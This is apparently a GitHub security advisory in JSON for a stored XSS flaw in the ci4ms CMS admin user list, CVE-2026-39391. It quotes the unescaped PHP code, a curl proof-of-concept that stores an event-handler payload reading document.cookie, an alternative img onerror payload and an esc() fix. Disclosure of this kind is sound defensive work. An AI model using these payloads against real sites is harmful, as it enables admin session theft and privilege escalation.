{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:15:32Z",
    "nvd_published_at": "2026-04-08T15:16:13Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.\n\n## Details\n\nIn `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule:\n\n```php\n// Line 347 \u2014 validation only checks \u0027required\u0027, no sanitization\n$valData = ([\u0027note\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.notes\u0027), \u0027rules\u0027 =\u003e \u0027required\u0027],\n             \u0027uid\u0027 =\u003e [\u0027label\u0027 =\u003e \u0027uid\u0027, \u0027rules\u0027 =\u003e \u0027required|is_natural_no_zero\u0027]]);\n\n// Line 352 \u2014 raw user input passed directly to ban()\n$user-\u003eban($this-\u003erequest-\u003egetPost(\u0027note\u0027));\n```\n\nShield\u0027s `Bannable::ban()` trait stores the message as-is:\n```php\n// vendor/codeigniter4/shield/src/Traits/Bannable.php\npublic function ban(?string $message = null): self\n{\n    $this-\u003estatus         = \u0027banned\u0027;\n    $this-\u003estatus_message = $message;  // No escaping\n    // ...\n}\n```\n\nIn the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping:\n\n```php\n// Line 55 \u2014 esc() IS used here (correct)\n$result-\u003efullname = esc($result-\u003efirstname) . \u0027 \u0027 . esc($result-\u003esurname);\n\n// Line 58-59 \u2014 NO esc() on status_message (vulnerable)\nif ($result-\u003estatus == \u0027banned\u0027):\n    $result-\u003eactions .= \u0027\u003cbutton ... data-note=\"\u0027 . $result-\u003estatus_message . \u0027\"\u003e\u0027\n```\n\nThe HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied.\n\n## PoC\n\n**Step 1 \u2014 Store XSS payload via ban endpoint:**\n```bash\ncurl -X POST \u0027https://TARGET/backend/users/blackList\u0027 \\\n  -H \u0027X-Requested-With: XMLHttpRequest\u0027 \\\n  -H \u0027Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM\u0027 \\\n  -d \u0027uid=2\u0026note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22\u0027\n```\n\nExpected response: `{\"result\":true,\"error\":{\"type\":\"success\",\"message\":\"...\"}}`\n\n**Step 2 \u2014 Trigger payload:**\nAny admin navigating to `/backend/users` will receive HTML containing:\n```html\n\u003cbutton ... data-note=\"\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003e\n```\n\nThe XSS fires when the admin hovers over the blacklist button for the banned user.\n\n**Alternative immediate-execution payload:**\n```\nnote=\"\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\n```\n\n## Impact\n\n- **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).\n- **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control.\n- **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.\n\n## Recommended Fix\n\nWrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55:\n\n```php\n// In users() method, line 58-59 \u2014 change:\n$result-\u003eactions .= \u0027\u003cbutton type=\"button\" class=\"btn btn-outline-dark btn-sm open-blacklist-modal\"\n                        data-id=\"\u0027 . $result-\u003eid . \u0027\" data-status=\"\u0027 . $result-\u003estatus . \u0027\" data-note=\"\u0027 . esc($result-\u003estatus_message) . \u0027\"\u003e\u003ci\n```",
  "id": "GHSA-7cm9-v848-cfh2",
  "modified": "2026-04-08T19:15:32Z",
  "published": "2026-04-08T19:15:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39391"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List"
}